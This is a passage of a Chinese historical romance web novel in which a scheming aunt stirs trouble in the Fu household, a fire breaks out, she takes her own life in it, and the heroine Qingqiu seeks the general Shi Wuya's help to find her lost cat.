“你只管差人去,只得个消息便好,不需他们做些什么。”清秋抱着瞳瞳回屋,将它关进猫笼,随后又将暖炉放在猫笼旁。 安置好瞳瞳,清秋转身出门,云露跟在她身后。 清秋眉眼冷清,云露为她撑着伞,二人一前一后在雪地里留下脚印。 她这个姨母不计前嫌地来付宅,她自然要来看望一番。 棠院里韦南絮顺手挑了几个女使,李妈妈朝她们几个使了个眼色,女使们交换眼神,各自散开收拾棠院。 韦南絮自然晓得这些女使不中用,不过是留在身边让韦南风放心。 清秋去时韦南絮正要回房歇息,韦南絮见清秋款款而来,不紧不慢地往屋里去。 “姨母来汴京竟也没让侄女晓得,倒显得我怠慢了姨母。”清秋三步并作两步,上前挽住韦南絮的手。 韦南絮含笑道:“哪里的话,本是我来打扰了你和你母亲,近来可好?姨母听说你已定亲了,婚期都定了,你年岁不小,听闻你那夫家家世显赫,不知人品如何。” 见韦南絮从容淡定的模样,清秋心下讶然,当初在杭州,韦南絮逼她嫁给韦蒲却是另一副模样。 清秋轻笑道:“托姨母的福,我近来安好,不知姨母要在汴京呆多久?” 韦南絮思忖道:“待到姐姐愿意同我回杭州见一见母亲,小侄女你倒是实诚,为何不和姐姐说母亲的事。” 语毕,韦南絮眉梢轻挑,轻轻地扫她一眼。 “罢了,小侄女我今日累了,就不多陪你了。”韦南絮抽开手,转身关门,一气呵成,丝毫不给她说话的余地。 清秋只得作罢,可这样一个人放在付宅,恐怕会家宅不宁。 思及此,清秋去寻吕汀英,吕汀英正在房中哄着团圆,清秋来时团圆正巧睡下,老妈妈带着团圆去侧屋歇着。 清秋将韦南絮一事悉数告知,吕汀英听罢,蹙眉问道:“那你当初为何不告诉母亲?” 吕汀英沉声道:“这样的事你该早些让母亲知道的,我虽明白父亲是如何想的,可母亲知道你受了这委屈还闷头不说,可又要为你伤心了。” 清秋默声不语,韦南风为她操的心太多,她不愿见韦南风因这事与韦家生出间隙。 何况她知道韦南风心中是念着韦老太太的。 “你莫担心,父亲为人清正,定然不会与她有牵扯的,这两日我派些女使去看看。”吕汀英牵过她的手宽慰道。 听她如此说,清秋才稍稍放心。 吕汀英行事滴水不漏,如今付宅上下皆由她打点,平日里虽温和,可办起事儿来却是一等一的厉害。 清秋明白这位嫂嫂有好本事,只是她怕韦南絮手段高明,引得吕汀英上当。 —— 因韦南絮的出现,清秋接连几日都未睡好,生怕韦南絮在宅里生出什么事来。 这几日汴京大雪不停,棠院中围炉煮茶,好不清闲,一众女使婆子皆围着韦南絮,韦南絮身着粉衣衫裙,娇笑温和。 棠院满地清白,厚厚的一层积雪尚未清扫。 年轻的几个女使围在韦南絮身边烤火,有一人出声问道:“那韦二夫人可有留下子嗣?我听着那通判老爷也不是个好人,比起我家大人差远了。” 韦南絮端坐在廊下,与她们说笑逗趣,老妈妈上前来,目光不屑,她们一行人在后宅年岁长,这笼络人的把戏只一眼便瞧出来了,也就只有年轻的姑娘好骗。 主子朝你笑一笑,就当作是得了主子的喜爱,实则是最低劣的把戏。 老妈妈不疾不徐地添上木炭,方才说话的雀儿摇了摇老妈妈的肩,“林妈妈你瞧瞧,这韦二夫人多有见识,去过好些地方,不想咱们四四方方的一片天,整日只能围着夫人姑娘们转。” 雀儿本是家生子,她母亲是灶房的一把手,烧得一手好菜,颇得大人和夫人的喜爱,平日赏钱不少。 林妈妈则是从杭州一路跟来的,与李妈妈是老相识,她留在棠院也是看着韦南絮。 雀儿嘴上不把门,林妈妈懒得提醒她,这等嘴里没忌口的丫头,最终不是被发卖便是打出去。 林妈妈不搭话,撇开雀儿的手,哼声道:“雀儿你妈妈在灶房里烧的菜,到头来是白烧的。” 雀儿听了,气道:“林妈妈你这话是什么意思?我妈妈烧的菜,姑娘郎君都喜欢,你在这儿说些什么话!” 林妈妈原以为她只是爱热闹,谁承想是嘴笨,脑子也笨。 韦南絮听她二人拌嘴,忙笑道:“烧的什么菜?早听说汴京好吃的多,林妈妈既然来了,不妨替我寻些来。” 林妈妈余光扫她一眼,韦南絮很是上道的递出十两银子。 韦南絮道:“我平日只爱吃些清淡的,不知大人和夫人爱吃些什么,劳妈妈替我走一趟,我借妈妈的花,献给我姐姐。” 雀儿白林妈妈一眼,心下恨林妈妈抢了她的风头,分明是她在这儿和韦南絮说了好半天的话,只她过来添个炭,就让她得了这便宜差事。 林妈妈掂了掂手上银子,旋即笑道:“韦二姑娘哪里的话,顺路的事,哪里用这么些。” 韦南絮出手大方,又言笑宴宴,就算是知道她有些坏心思,也不得不高看她两眼。 “妈妈说笑了,我今儿也是闲的,不妨妈妈带我转转,雪天路滑,我还能为妈妈撑伞呢。”韦南絮起身攀上林妈妈的手,又朝身后的年轻女使摆手。 雀儿直瞪着林妈妈,临走前还不忘啐她一口。 韦南絮唇边含笑,取来一把油纸伞,当真为林妈妈打伞,她轻声道:“林妈妈我往日定然是见过你的,总觉得有几分熟悉,妈妈可还记得?” 林妈妈被她挽得亲热,偏她挽得紧,林妈妈不好挣开,何况庭中积雪已深,轻易乱动怕是要摔跟头。 她们来棠院这几日倒是懒散了不少,庭前积雪不扫,屋里暖炉不点,成日只说话吃酒,闲时赌上一赌,偶尔韦南絮来了兴头,也跟着押注。 林妈妈心里明白这是不应该的,可实在架不住天冷人懒,也就由着她们一行人去了。 “韦二姑娘当真记得我?”林妈妈黑瞳一沉,当年她在杭州也只是个不起眼的婆子,倒没怎么见过韦南絮,故而她也不晓得韦南絮与付彰的事。 韦南絮幽幽叹气,“妈妈不记得我倒也没什么,毕竟我当年与姐姐不合,妈妈不记得我倒也没什么。” “妈妈这些年一直服侍在姐姐身边,也不知姐姐和姐夫如今可还好。”韦南絮眸光流转,顺势问道。 林妈妈不欲与她谈这些事,正想着如何搪塞过去,却见韦南絮从袖中又取出几两碎银子塞进她粗糙干瘪的手。 韦南絮轻抚她的手,讶然道:“妈妈的手上都快要生了冻疮,我哪儿有膏药,妈妈擦了也好些,汴京这样冷,妈妈若不防着些恐要害病。” 林妈妈心头涩然,唇瓣几张几合,茫茫雪色里,韦南絮眉目温柔,关切的询问她,好似天边的仙女下凡来关照她。 “多谢韦二姑娘。”林妈妈嗓音生涩。 “这倒没什么,多谢妈妈这几日照顾我,今儿又劳你跑一趟。”韦南絮不紧不慢地道:“妈妈可晓得大人平日在何处,妈妈已带我卖了糕点果子,便我自个儿去将东西送给姐姐和大人。” 林妈妈为难道:“这不合规矩,大人与夫人平日少往来,都住在前院的书房,平日里很少来后院。” 她话还未说完,警惕看了看四周,凑近韦南絮道:“夫人与大人近来多有隔阂,韦二姑娘还是让我去罢,省得姑娘触了霉头。” 韦南絮眸光一转,叹道:“姐姐竟过得这般不如意?” 林妈妈小声驳道:“韦二姑娘别看夫人与大人不合,可夫人在汴京却是贤名在外,况如今二姑娘又与国公府家的大朗君定亲,夫人的富贵还在后头呢。” 韦南絮似笑非笑地点点头,眉目轻蹙,轻声道:“妈妈我自个儿去罢,这些权当是我谢妈妈的。” 语毕,韦南絮又从袖中取出几两银子,林林总总的加起来,已有七两。 林妈妈心头大喜,故而话也多了起来,拉着韦南絮说起家长里短,从哪雀儿说到韦南风身边的李妈妈。 韦南絮手执油纸伞,目光深静,她不动神色地挪开一步,拉开二人的距离,二人缓步走着,林妈妈的话她有意无意地听着。 第62章 师无涯的聘礼 韦南絮听她说了好半天, 最终她自个儿去灶房取了碗菜羹,听林妈妈说那是付彰平日夜里最常吃的。 林妈妈因事被李妈妈叫走,韦南絮正欲回院, 却见有一暗红身影一晃而过, 只一瞬便消失在雪里。 韦南絮对付宅并不熟悉, 这两日韦南风身边的人盯她盯得紧,纵使她想去前院也没能逮着机会。 不过她并不着急,毕竟这些事还得慢慢筹谋。 韦南絮端着菜羹回棠院, 雀儿已在棠院等候多时,见着韦南絮回来, 忙不迭地上前。 “韦二姑娘, 这菜羹我也会做,你若喜欢吃,明日我做给你吃。”雀儿喜笑颜开, 顺势为她撑伞。 韦南絮道:“多谢你了,不过你教我做吧, 日后我走了,心里也有个念头。” 雀儿听她说的可怜,便含笑应道。 —— 白雪飘零, 檐下清白。 清秋正在房中温书, 云露匆匆进屋,四下张望过后,快步至清秋身边, 目光焦急,胸脯还微微喘着气。 “何事?”清秋放下手中《玉石录》。 云露轻喘口气,眼神闪躲,又朝清秋挪了一小步。 “韦老太太去了。”云露悄声道。 “去了?”清秋一时未反应过来, 复又问道:“去哪儿了?” 云露急道:“姑娘你这时候怎么糊涂了,韦老太太逝世了。” 清秋愕然抬眸,拍案起身,“你说什么?外祖母去世了?” 这样大的事竟无一人来汴京来报,上京来的只韦南絮一人,韦老太太死了,韦南絮不在杭州尽孝,跑来汴京做什么。 清秋心中有疑,不敢再让这个姨母在汴京多留。 思及此,清秋正欲去正房寻韦南风,只萌生这个念头,又迅速熄了下去。 韦老太太过身的消息恐怕只有杭州那边的人晓得,远在汴京的韦南风见着韦南絮,定然是觉得韦老太太安然无恙。 此事她该如何对韦南风说,又如何能将心思不明的姨母赶出去。 吕汀英尚未给她个准话,依照韦南絮的性子,她恐怕是要赖在付家。 从前韦老太太能为她在韦家撑腰,如今怕是在韦家待不下去,才转头来了汴京。 窗外冷风吹进卧房,清秋后背声冷,抬头朝云露道:“绿柳如今还在二哥哥的院子里,你去寻绿柳来,让她在棠院多看着姨母些。” 付高越近来无事,绿柳应当也清闲。 清秋身边贴心知事的女使统共也就云露和绿柳,绿柳要跟着付高越去,清秋碍于情面不能阻拦,现今能派去棠院的人也只有她们二人。 云露跟在她身边许久,韦南絮已见过她,不能再用云露。 只能暂且让绿柳回来,等到韦南絮一走,她再将绿柳放回去。 闻言,云露转身出门,一路直奔,绿柳正瞧在院中打点,见云露来,绿柳忙叫她坐,云露无心就坐,忙将正事一五一十的告诉绿柳。 绿柳听罢,问道:“是韦二姑娘来了?怪道呢,前些日子我瞧着有一人和夫人足有七分像,只是瞧得不真切。” 绿柳应下此事,转头吩咐院中女使近日改在院里如何行事。 云露只待了一会,但见绿柳在付高越院中颇有威信,心下生出几分羡慕,往日里她们的玩笑话竟成真了。 —— 韦南絮成日在院中煮茶赏雪,闲时会去正房见韦南风,李妈妈不待见韦南絮,韦南絮心里知道,也不多留。 正房里韦南絮温顺垂首,韦南风捧着一盏热茶,余光扫向她,神色淡漠复杂。 聊过几句闲话,韦南风便开口问:“南絮,母亲还曾对你说过别的什么话没有?” 韦南絮温声道:“有的,母亲留了我一封信,叫我到汴京带给姐姐看,姐姐这几日身子不适,我怕姐姐见了伤心,便想等姐姐好些了再拿出来。” 韦南风颔首,“辛苦了,我累了,南絮你回罢,汴京有趣的地方多,你若愿意就叫清秋陪你四处走走。” 韦南絮点头,但笑不语。 出正房时已近戌时,雪月交融,恰此时清秋去寻韦南风请安,二人迎面撞上。 韦南絮含笑道:“小侄女来得倒有些迟,既是去寻姐姐,我便不多打扰了。” 话落,韦南絮同绿柳一道离开正房,清秋见绿柳跟在她身边,心中多了几分安心。 纵使韦南絮在付家,也翻不出什么浪花来。 清秋打帘入内,韦南风打眼一瞧,问道:“这会怎么来了?你姨母才刚走,你来得正巧呢,你姨母带了些糕点来,你尝尝看。” 云露接过李妈妈递来的糕点,清秋无心在意那糕点,如今有一桩大事等着她告诉韦南风。 “母亲”清秋犹豫半晌,不敢直视韦南风。 清秋明白韦南风心中一直敬着韦老太太,这么些年,韦南风虽不提,但她和李妈妈都看得出来。 先前她回杭州时,韦南风特地嘱咐她回去看看韦老太太。 如今韦老太太过身,她这个做女儿的却还被蒙在鼓里,先前清秋瞒下杭州的事,便是不想叫她心里难受。 说到底韦老太太是她的母亲,韦南风自然在意。 韦南风见清秋神色郁郁,关切问道:“怎么了清秋,是身子不适了?近来天寒,你不必每日都过来。” 清秋略微颔首,犹豫半晌,她还是未能开口。 恰此时外头来人通禀,原是王夫人又送了礼品来,这会正在正堂坐着,韦南风闻言忙起身离开。 云露疑道:“姑娘你为何不同夫人说,倘若夫人日后晓得了岂不难过。” 清秋垂首不语,她自然晓得韦南风会难过,只是她还未想好该如何开口。 天下没有不透风的墙,清秋叹道:“待母亲忙完了,我再来寻她说说话。” 王夫人在正堂与韦南风说笑,因雪落个不停,韦南风留王夫人用饭,王夫人推辞一番,终是应了下来。 清秋候在正院,因房内闷热,她出门去透气,正瞧见着有人提着物件往外去。 天色已晚,已至亥时,那院外有人鬼鬼祟祟地往外去。 清秋瞧不太真切,她正凝神看着,云露忽从身后过来,“姑娘,观墨送信来了,这两日王郎君回府去了,说明日邀姑娘去游相国寺。” 语罢,云露从怀里取出信笺。 “你去回观墨,告诉他明日不必叫王郎君过来,我们约在飞云楼见。”清秋收回视线,那院外女使消失在雪色中。 前院一众男仆跟在付彰身后,接连几日,他都陪同太子处理政务,如今他得闲先行回宅,只留付远衡在太子身边。 说来奇怪,这几日不止太子在忙政务,就连翰林院那边的事务也多了起来。 官家病重,那两位殿下斗得不可开交,连带着他们也没些清闲日子,这倒罢了,只是那二大王盯得紧,付彰不敢明目张胆的向着谁,只一个劲地来回。 按理说,他本就该辅佐太子,只是二大王势力庞杂,就是他有心站太子殿下,却也不能做得太过明显。 付彰兀自叹气,行至垂花门时,他朝里头望了眼,踟蹰半晌,他回了前院书房。 书房灯烛燃起,女使鱼贯而入,几人手捧白瓷玉盏。 “大人,夫人命我们送来的。”领头的女使俏声说道。 付彰手上一顿,觉那声音有些熟悉,他仰头看去,竟是韦南絮着女使衣裳进了屋。 韦南絮含羞垂首,衣着单薄,比旁的女使还清透些。 “都退下吧,你留下。”付彰沉声道。 韦南絮余光瞥见她们都已退下,忙上前去,绕过书案,俯身道:“付大人,令我想的好生辛苦,既是在猪儿巷里见了我,为何不领我回来。” 付彰扶着圈椅,身子往后仰,冷道:“南絮,我只是见过你,除此之外,还有旁的事?” 韦南絮泫然欲泣,可怜道:“付大人也太冷心肠了,我是为见大人才上的汴京,这不是为了姐姐。” 付彰眸光一凛,起身推开韦南絮。 “你休要胡说。”付彰厉声道,“我与你如今,再无旁的关系,当年之事皆已过去,我和南风将师家的聘礼都赔给你们,你还未我这儿作甚!” 十一年前,韦家因生意赔了钱,在钱塘江上丢了一批货,那船上的玉石皆是从北方寻来的,韦家花重金才买,准备在杭州转手,谁知江上风浪大起,玉石全都沉了。 那时付家正欲前往汴京赴任,韦南絮并未去求韦南风,而是转头去寻了付彰。 韦南絮以情意要挟,付彰原是因韦老太太接济才科举谋事,付彰拧不过韦南絮,可他哪有那么多银子,末了他动了师远留给师无涯的部分遗产。 遗产之中的聘礼,被付彰挪给韦南絮,也是那一回韦家才堪堪保住家业。 师远为师无涯留下的遗产之多,不输国公府的聘礼,师家三子,只余下师无涯,他的遗产是萧稜和师远积年所攒。 此事,韦南风并不晓得,后来是上了汴京,韦南风清点账本才知少了一笔。 韦南风本欲将师家的聘礼退回,可却少了一大半,事情败露,付彰才向韦南风解释,这一解释叫韦南风与付彰彻底离心。 若不是因付彰用了师家的聘礼,她也不至于拖着这桩婚事,看着清秋为师无涯形销骨立,伤心断肠。 当年他的一念之差,引得清秋对师无涯情根深种,付彰本已攒下当年所给出的聘礼,若师无涯愿意,他愿意让她娶付清岁,又或是履行婚约娶清秋。 可师无涯却明晃晃地退婚,退婚倒也罢了,可他走前并未从付家带走聘礼,师远为他留下的遗产仍在韦南风手中。 此事久远,若非韦南絮忽然出现在汴京,付彰早已将此事忘记,偏偏韦南絮还想以此要挟他。 见付彰久久不语,韦南絮站直身子,盯着付彰,眼神冷然,“付大人清高,许了我银子又如何,大人不妨现在去瞧瞧我姐姐,现如今应该被气得不轻吧。” 付彰倏然转身,急道:“你对她做了什么。” 韦南絮昂首,勾唇轻笑,十分得意。 付彰与她对视一阵,不消片刻,付彰转身出门,韦南絮扬声喊道:“付彰!你当真心里有她!她那样蠢笨的人,竟然也会引得你动心。” 韦南絮气急败坏,恨恨出声。 闻言,付彰脚下生风,快步往后院去。 —— 绿柳替韦南絮送信去,李妈妈见是绿柳来,笑着迎她,绿柳四下张望,道:“这是韦二姑娘托我送来给夫人的。” 李妈妈接过信,笑道:“等雪停了再走不迟。” 绿柳摇头,转身就走,李妈妈目送她离开,只是她去的方向仿佛是杏院。 只刚送走绿柳,就见清秋与云露一道来,清秋面色憔悴,眸光忧愁,似在为什么事所扰。 “姑娘这回怎么又来了,夫人都怪歇下了。”李妈妈道。 晚间清秋一直想着这事,早晚有一日韦南风会晓得韦老太太过世,她瞒着一日她和母亲都痛苦一日,不如早些揭开,好让这事早些过去。 韦老太太在杭州做得再不好,也是她的外祖母,生死大事瞒不得。 三人一道进屋,李妈妈捧着信交给韦南风,“夫人,这是韦二姑娘带来的信。” 韦南风陪着王夫人说了好一阵话,这会神思疲倦,只扫了一眼那信,但那信上的字却有些熟悉,韦南风一手扶额,一手接过信。 清秋眸光轻转,轻咳一声:“母亲,我有事与你说。” 韦南风右眼皮直跳,倏然醒神,心觉不妙,她沉声道:“何事,可别吓我。” 话落,房内静了半晌,只余烛光飘摇,以及屋外的雪塌声。 韦南风将信拿在手中端详,上头的字是韦老太太写的,她与韦南絮的字都是韦老太太所教,只是她写得不好,没有韦老太太的神韵。 韦南风不急着拆开信,只等清秋先将事说出来。 清秋叹道:“母亲,外祖母——” “走水了!走水!夫人夫人!自杏院烧起!连带着前院书房都跟着遭殃了!” 话音甫落,几人登时起身,韦南风手中紧着信,拉着清秋出去。 小青急得双眼通红,喘着粗气道:“姑娘,夫人,走水了,杏院烧起来了。” 清秋心道不好,正欲回院时,却见付彰风尘仆仆,快步赶来,他发间沾雪,未披衣,便匆匆赶来。 恰此时,韦南絮跟在他身后款款而来,她衣裳单薄,穿着付宅女使的衣裳。 雪夜寒气渐重,清秋心头陡然,她转身朝云露道:“回杏院,瞳瞳在,快去!” 言罢,云露快步往杏院赶。 “父亲,你怎么来了。”清秋进屋取了件青色大氅,披在付彰肩头。 付彰眼中有泪,目光落在韦南风身上,韦南风不明所以地看着他,眉头轻蹙。 “南风,你可还好?”付彰轻声问道。 韦南风被问得茫然,她狐疑道:“有什么不好的。” 清秋扶着付彰至凉亭下,韦南絮站在院中,仍由大雪落在她身上,院中石灯翩然,澄明的光线照着她眼中的几分痴意。 她在雪中似有些得意,又似可怜,种种神态交织在一起,显得她格外怪异。 清秋眉心紧蹙,她这个姨母是温柔的,那温柔的皮囊下却在吐着蛇信子,韦南絮微微昂首,脊背挺得僵直,犹如高傲的仕女。 “姐姐,怎么还没把信拆了看?”韦南絮眉梢轻挑,眼中带些轻狂的笑意。 闻言,韦南风知她心有怨怼,可却不晓得她葫芦里买的什么药。 韦南絮在雪中翩然行走,霜雪似乎拦不住她轻盈的身姿,她绕着正房走了一圈,最终停在正房雕花木门前,她径直蹲坐在地上,饶有兴致地看着韦南风。 见她这副模样,韦南风心觉不妙,忙拆开信,付彰抬手扶着韦南风,韦南风甩开他的手,瞪他一眼。 清秋大抵猜到那信里会有什么,看来她不用说了。 李妈妈朝小青使眼色,命她几人去将韦南絮捉住,韦南絮见她们靠近,冷然出声:“别过来,你们要过来我就烧了母亲留给姐姐的信。” 韦南絮得意道:“姐姐,母亲为你留了两封信,姐姐手上的是一封,我手上的是另一封,姐姐应该不想我烧了吧。” 李妈妈只得收手,小青等人候在雪中。 韦南风展开信笺,密密麻麻的小字,韦南风一目十行,临到落款时,已泪流满面。 清秋眼底含泪,紧紧扶着韦南风,温声道:“母亲,外祖母年事已高,母亲节哀罢。” 付彰闻言,心头一震,轻拍她的后背,满目担忧。 韦南风双手颤抖,信笺从手里滑落,清秋顺势捡起信笺,堪堪扫了一眼,上头无一不在斥责韦南风不孝不义,临到最后一句还是韦老太太恨当初生下她。 韦南风捶胸顿足,掩面痛哭,只觉心头有万千陨石压着。 “你为何现在才告诉我!母亲在世时偏心你,如今过世了还要叫我为你铺路。”韦南风挣开付彰和清秋的搀扶。 “你要什么!把另一封信给我!”韦南絮颤抖着手,指着她道,“把母亲的信还我!你这一生谁不顺着你,到头来你要求我什么,我都应你!” 韦南絮把玩手上信笺,唇畔含笑,道:“好姐姐,我要姐夫娶我,你也应我?” 付彰呵道:“休要胡说!” 韦南絮缓缓起身,往正房里头去,她站在门槛前,扬唇道:“小侄女,你虽知道些什么,可也不全知道吧,像你这样的小姑娘,以为能从我手中逃过一次,就能回回都逃?” 清秋眉头深蹙,韦南絮话中有话,可她却参不明白。 韦南絮倚在门边,缓声道:“你的父亲和你的母亲,做了一件你不晓得的事,小侄女,我当时在杭州见到的那人,不是什么哑奴,而是你的未婚夫,师家三郎师无涯吧。” 付彰侧目看向清秋,韦南风因心头哀恸,一时未能反应过来她将要说什么。 “欸可怜的小侄女,求而不得,是什么滋味?”韦南絮笑道,“师三郎喜欢你姐姐,故而厌恶你,你却为他几度自戕,小侄女你也太没骨气了,可怜你未婚夫的聘礼都不曾见过吧。” 此话刚落,吕汀英和付远衡急急赶来,见着韦南絮在正房前从容淡然的模样,不由得心头一惊。 吕汀英行至清秋身侧,低声道:“是绿柳放的火,人已经不见了,火势大,杏院怕是为难了。” 付远衡快步上前,扶住韦氏,“母亲,别伤着自个儿的身子。” “什么聘礼?”清秋疑道。 此话一出,韦南风忽地回神,朝韦南絮吼道:“你胡扯些什么!韦南絮你把母亲的还我,我风风光光的送你回杭州。” 清秋目光微滞,复又再问了一遍。 “是什么聘礼?母亲,为何我从来不知师无涯的聘礼。” 韦南风定了定神,目光闪躲,“别听你姨母胡说,根本没有什么聘礼,师无涯从不曾下聘,就是有也早退回去了。” “小侄女,你父亲待我才是情深意重,将师三郎给你的聘礼匀了些给我,多谢了。”韦南絮脸色僵白,面上笑容诡异。 在付宅的这几日,韦南絮早已将清秋与师无涯的事打探清楚,而那新来看守她的绿柳,原以为是个难啃的,谁知她三言两语,就套出了话。 韦南风在汴京风生水起,她却在杭州过着守活寡的日子,更何况韦南风的亲事原本是她的! 是她不要的,凭什么这些年韦南风可以做官眷,而她要在杭州守着老太太过日子。 “姐姐!你纵有千般好,万般好,也不过是我施舍给你的,母亲死了!母亲死了!”韦南絮仰天大笑,眼角挤出生涩的眼泪。 她恨韦南风,她明明愚笨,明明样貌不如她,样样都不如她,凭什么能轻而易举的得到富贵名声。 韦南絮带着信往正房里去,她捧起一豆灯火,倒下灯油,倒完一盏又一盏。 “姐姐,我恨你!” 恨母亲到死都惦念你! 韦南絮将手中的信点燃,旋即关上房门,让火星点燃地上的灯油。 月影绰绰,风声簌簌,正房火势渐重,犹如长夜之中的一盏明灯。 李妈妈并小青连忙上前去推门,吕汀英和付远衡寻人来扑火,韦南风快步至房门前,付远衡见状不敢离开。 付彰拦下韦南风,清秋在旁劝道:“母亲,姨母自作孽,何苦要去寻她。” 付远衡搀扶着她,忧道:“母亲,听清秋的,不必为了姨母搭上自己的性命。” 韦南风兀自摇头,泪如雨下,白雪飘在她的脖颈,沁入肌肤,冷得打抖。 “母亲的信,母亲的信” 韦南风猝然阖目,只一瞬,她晕倒过去。 付彰抱起韦南风,付远衡跟着付彰一道离开正房,只余清秋还在雪中观火。 火焰高涨,澄明透彻的火光照彻长夜,横梁坍塌,灰烬随浓烟升起。 清秋能感受到火焰扑面的些许灼热,也能明白韦南絮一早就准备要烧死自己,她烧死的不仅是她,还有韦南风对韦老太太的念想。 韦南絮手中的那封信,会是韦南风心头的刺,此后的长夜,韦南风会时不时的想起。 可韦南絮什么都拥有,有韦老太太的偏爱,有家产在手,为何要寻短见。 清秋心中茫然,怔怔地看着她烧死了自己。 —— 子夜时分,清秋拢上披风,提灯出府,云露跟在清秋身后,眼底含泪。 清秋喊她回杏院时,瞳瞳已经不见了,那时院中起火,根本无人敢往屋里去。 如今瞳瞳极有可能被烧死,可清秋不愿信,当下只有找到绿柳,才能知道瞳瞳究竟在哪。 她原本想将绿柳放在韦南絮身边做眼线,谁知竟被反将一军,如今倒好,赔了夫人又折兵。 “姑娘,这会怎么可能找得到,夜又深了。”云露泣声道。 清秋眸光一寒,冷声道:“我一个人找,你回府里去,绿柳是从杭州来的,离了付家举目无亲,她能去哪儿。” “你不必跟着我,替我去照顾母亲,瞳瞳不能丢”清秋低声说着,转头往西大街各处去寻。 绿柳在汴京无依靠,可这也就意味着绿柳会藏在任何一个角落。 清秋明白找到绿柳的机会渺茫,如今只能借他人的手,清秋转身喊住云露。 “云露,你去寻观墨,把此事告诉王郎君。” 闻言,云露忙往马行街去,只刚踏出一步,清秋便跟上她,“我们一起。” 马行街多是显赫人家,国公府和将军府都在那一条,她命云露去寻国公府,清秋转头去了将军府。 皎月明明,轻盈白雪覆在石狮上,将军府前挂着两盏灯笼。 清秋立在将军府门前,并未轻易敲门。 她和师无涯已有半月未见,上回相国寺之后,师无涯未来找过她,她也不想见他,可如今为了瞳瞳,她不得不多找些人。 “叩叩叩——” 须臾,有人推开门。 “谁啊?” 开门之人揉着惺忪的眼,定眼一瞧,不由得一惊。 将军府上从未来过女子,小厮道:“娘子来府上有何事?可有帖子,又或是将军的信物。” 清秋连连摇头,凝眉道:“我来见他有事,劳烦你告知他。” “想要见将军的人多了,娘子还是有了帖子再来吧。”小厮恹恹道。 小厮正欲关门,岂料清秋伸手拦着,“劳你替我去传句话,只一句话。” 语罢,清秋摘下手镯,递给他,目光恳切。 “你告诉师将军,杭州旧宅仍在,从未变卖。” 第63章 “付清秋,你都只能嫁给我!…… 将军府内灯烛黯淡, 书房留了一豆灯火。 师无涯伏案观书,先前他从贩书郎手中买来的几本书,他都已瞧过, 且不说《追妻三十六计》, 旁的还有《哄妻语》诸如之类。 他尚未实行过, 但总觉那书中所言甚是有理,若是他能熟读牢记,日后便能对症下药。 房中灯芯爆开, 门外有一人影踌躇。 师无涯耳尖一动,转手从书案上取出一杆狼毫笔, 借着手腕扔出, 狼毫笔卡在门缝中,门外人一惊。 “将军,方才有人来叫我传句话。” 师无涯剑眉轻蹙, 问:“什么话。” “杭州旧宅仍在,从未变卖。” 师无涯扔开书, 登时起身,厉声道:“她人呢?” 小厮忙道:“走了,方才走的。” 话音甫落, 小厮便觉有一阵冷风吹过, 令他后背生寒。 师无涯快步往外去,先前清秋的话竟是骗他的,如此说来, 那是不是也有别的话是骗他的。 或许清秋对他说的那些不喜欢的话,也是假的。 思及此,师无涯眼底浮现些许笑意,恍惚间他记起《哄妻语》中的卷一, 欲拒还迎。 师无涯自马行街一路追去,不多时,他便见到一绿衣衫裙的姑娘,她撑着伞走在空无一人的长街,月色映出满地白雪。 他见清秋来本是欢喜的,可当真见她于茫茫雪夜中又生出几分心疼。 天这样冷,她孤身一人。 师无涯追上前去,只一步之遥,他倏地放慢步子,地上留下一深一浅的脚印。 “付二姑娘。” 师无涯跟了她一路,清秋闻声顿住脚步,并未立即回头。 “师无涯瞳瞳不见了。”清秋鼻尖一酸,不肯回头面对师无涯。 瞳瞳养在她身边将近一年,她自小喜爱狸奴,直到十七岁才有了第一只狸奴。 冷风刺骨,犹如凌冽的刀锋,清秋被风吹得怔忡,心也麻木几分。 师无涯听她嗓音颤抖,不由得蹙眉,他了解清秋,不论是人或是物,在她心中她所钟爱的都值得她豁出命。 当日他在去往杭州的客船上见她为瞳瞳神魂失守,他便知道,瞳瞳对清秋而言,定然重要。 “在哪儿不见的。”师无涯轻声问道。 他并未靠近清秋,仍旧保持着方才的距离,清秋能听到他的就在身后,只她一回头便可以见到师无涯。 “付宅走水了,杏院被烧,瞳瞳不见了,火是绿柳放的,师无涯帮我找到她。” 语罢,清秋倏然转身,眸光盈盈,眼底泪水泛着莹润的光。 师无涯见她落泪,清秋曾在他面前哭过许多次,停在他记忆最深刻地一次,是两年前付宅荷花池边。 那夜飘雨,清秋衣衫单薄,赤脚追着他跑到荷花池边。 直到如今,师无涯才明白他的决定做错了。 他待清秋敬而远之,害怕她靠得太近,将他掩藏的心一点点扯开。 “别哭,我替你去寻回来。”师无涯温柔开口。 他亏欠她,亏欠了许多年。 清秋眸光轻颤,抿唇道:“师无涯,帮我寻回来,我应你一件事,和先前一样,我决不食言。” 师无涯垂眸,目光停在她身上。 清秋此举无非是想还他的恩情,你来我往,彼此之间也就两清了,可师无涯不想和她两清,也不想以此来换些什么。 “清秋,你不必应我什么,与你有关的事,我都会做。” 师无涯目光柔和,见她如此,他心口酸胀,心疼地望着她。 纵使清秋待他再无情意,他也不能袖手旁观。 清秋见他答应,心中生出几分安心,便擦去眼角余泪,“多谢你,日后我与常也定会登门道谢。” 此言一出,师无涯冷下脸来,方才眼底的柔和荡然无存。 “不必,你也不必谢我。” 师无涯微微昂首,眉梢轻挑,漆黑深邃的眸子四处张望,淡声道:“付二姑娘回罢,夜里冷,这两日我会留心绿柳的行踪一旦有消息,我便会来寻你。” 清秋颔首道谢,二人愣了半晌,清秋见他再无话要说,便转身离去。 师无涯拧着眉,往前踏出一步,咬了咬牙道:“天色已晚,我送你回去。” 还不等清秋回他,师无涯就已夺过她手上的伞,他与她并肩同行,伞身向清秋倾斜。 “师无涯,我有些别的话要问。”清秋垂首,视线停在飘零的雪花上。 师无涯沉吟半晌,余光瞥向她,仍旧不咸不淡地“嗯”了声。 清秋眸光犹疑,思忖道:“师无涯,你从前为何要对姐姐说那样情深意重的话,在你心中我是不是一直都只是个无理取闹的小姑娘。” 师无涯和她之间所横着的东西太多,清秋一时不知从何处说起,但今夜的雪下得很大,她身上冷,心也冷。 思绪仿佛也被冬雪吹得僵冷,凝滞她本该悲恸的心。 若搁在平日,她定然不愿同师无涯说这些,毕竟她是恨他的。 “不是。” 师无涯毫不犹豫地回答他,握在他手中的伞柄,此刻有些刺人,他深吸口冷气,冷气灌进肺腑让他格外清醒。 “我并不喜欢清岁,与她并无情意。”师无涯不疾不徐地道,“倘若你想听我——” 他的话还未说完,远处便传来一道温雅的声音,犹如春风过境,柔和清远。 “清秋——” 